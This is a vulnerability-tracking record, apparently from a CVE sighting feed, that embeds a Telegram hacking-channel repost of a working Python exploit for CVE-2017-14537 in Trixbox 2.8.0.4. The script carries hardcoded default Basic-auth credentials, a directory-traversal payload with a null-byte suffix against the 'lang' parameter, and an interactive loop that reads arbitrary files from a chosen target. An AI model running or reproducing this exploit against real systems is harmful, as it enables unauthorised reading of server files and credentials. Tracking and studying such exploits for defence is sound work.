{"uuid": "ff3b6ed9-10ec-4603-9d65-4b536b5bfac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14537", "type": "seen", "source": "https://t.me/hacking_Attack/10507", "content": "Exploit Collector\nTrixbox 2.8.0.4 Path Traversal\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.\n\nMD5 | ebe53272a318e753d01ffa4b44a12413\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Path Traversal\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14537\n\n'''\nDescription:\ntrixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the\nlang parameter to /maint/modules/home/index.php.\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport urllib.parse\n'''\nUser-Input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\n'''\nConstruct malicious request:\n'''\n# Constructing header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Connection': 'keep-alive',\n'Cookie': 'template=classic; lng=en; lng=en',\n'Upgrade-Insecure-Requests': '1',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n}\n\n# Constructing malicious link (payload):\nbase_link = 'http://' + target_ip + ':' + target_port\nbase_link_addon_1 = '/maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'\nbase_link_addon_3 = '%00english'\nprint('')\nbase_link_addon_2 = input('Input the filepath or input EXIT: ')\n'''\nEXPLOIT:\n'''\nwhile base_link_addon_2 != 'EXIT':\nbase_link_addon_2_coded = urllib.parse.quote(base_link_addon_2, safe='')\nexploit_link = base_link + base_link_addon_1 + base_link_addon_2_coded + base_link_addon_3\nprint('')\nexploit = requests.post(exploit_link, headers=header)\nprint('Contents of ' + base_link_addon_2 + ':')\nfor data in exploit.iter_lines():\ndata = data.decode('utf-8')\nif data != '':\nprint(data)\nelse:\nbreak\nprint('')\nbase_link_addon_2 = input('Input the filepath or input EXIT: ')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:40.428504Z"}